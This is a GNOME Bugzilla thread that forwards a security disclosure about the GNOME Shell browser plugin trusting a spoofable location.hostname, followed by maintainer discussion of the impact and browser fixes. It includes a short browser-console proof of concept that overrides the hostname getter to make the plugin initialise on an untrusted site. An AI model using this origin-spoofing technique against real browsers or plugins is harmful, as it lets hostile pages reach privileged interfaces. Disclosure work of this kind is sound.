GNOME Bugzilla – Bug 684215
Possible hostname spoofing in browser plugin
Last modified: 2013-01-03 01:27:59 UTC
Forwarding https://bugzilla.novell.com/show_bug.cgi?id=779473 This is a report that was sent on the oss-sec mailing list. =================== Via OSS-sec: List, I just installed Fedora 17 on a workstation. While researching how to upgrade gnome 3 to version 2, I noticed it installed a browser extension called "Gnome Shell Integration". $ rpm -qf /usr/lib64/mozilla/plugins/libgnome-shell-browser-plugin.so gnome-shell-3.4.1-5.fc17.x86_64 The NPPVpluginDescriptionString states "It can be used only by extensions.gnome.org", but I happen to know that is a tricky thing to get right. 102 if (!funcs.getproperty (instance, NPVARIANT_TO_OBJECT (document), 103 funcs.getstringidentifier ("location"), 104 &location)) 105 goto out; 106 107 if (!NPVARIANT_IS_OBJECT (location)) 108 goto out; 109 110 hostname = get_string_property (instance, 111 NPVARIANT_TO_OBJECT (location), 112 "hostname"); 113 114 if (g_strcmp0 (hostname, ORIGIN)) 115 { 116 g_debug ("origin does not match, is %s", 117 hostname); 118 119 goto out; 120 } I'm familiar with this topic as I wrote a tool for managing broken but necessary plugins by restricting them to trusted domains. http://code.google.com/p/nssecurity As far as I know, browsers only attempt to prevent tampering with document.location.href, anything else can be modified. For example, this works in Chrome, I don't know the syntax for Mozilla: > location.__defineGetter__("hostname", function () { return "arbitrary"; }) undefined > location.hostname "arbitrary" However, > location.__defineGetter__("href", function () { return "arbitrary"; }) undefined > location.href "http://realurl.test/asdasd" So this should fail: > o = document.createElement('OBJECT') <object>?</object>? > o.setAttribute('TYPE', 'application/x-gnome-shell-integration') undefined > document.body.appendChild(o) <object type=?"application/?x-gnome-shell-integration">?</object>? > o.shellVersion undefined But we can re-insert it and make it work: > document.body.removeChild(o) <object type=?"application/?x-gnome-shell-integration">?</object>? > location.__defineGetter__("hostname", function () { return "extensions.gnome.org"; }) undefined > document.body.appendChild(o) <object type=?"application/?x-gnome-shell-integration">?</object>? > o.shellVersion "3.4.1" > document.location.href "https://www.redhat.com/" The plugin incorrectly trusted hostname, and initialized. As far as I can tell, the plugin will let you install new shell extensions, I don't know what the impact of that is, can they contain native code? Tavis.
I'm not convinced it can actually be exploited (see the discussion in the downstream bug); still something to fix.
It can't be exploited to install extensions (because we only get the UUID from the plugin, and download straight from extensions.gnome.org), but it's a privacy leak none the less.
That's really disappointing behavior from the browsers, for one.
(In reply to comment #2) > It can't be exploited to install extensions (because we only get the UUID from > the plugin, and download straight from extensions.gnome.org), but it's a > privacy leak none the less. Right, but the last argument on the bug downstream is that if someone manages to upload a malicious extension to e.g.o, then with this bug, a user could think he's installing another extension, and the evil website would pass the UUID of the malicious extension instead. I'm of the opinion that if have a malicious extension on e.g.o, we're already doing something wrong, anyway, so this bug would simply make something bad a bit worse.
Btw, in Firefox 15 with Object.defineProperty(document.location, 'hostname', { value:'arbitrary' }) (or any combination thereof) I get Error: Permission denied to shadow native property In Web 3.5.91 with WebKit 1.11.0 (git master), I get TypeError: Attempting to change value of a readonly property. while Object.defineProperty(document.location, 'hostname', { get: function() { return 'arbitrary' } }) gives TypeError: Attempting to change access mechanism for an unconfigurable property. So this may be less of an issue in modern browsers.
This is not an issue with any of the currently stable browsers, and I'n particular it's not a in issue with the browser we ship, so I'd like to close this.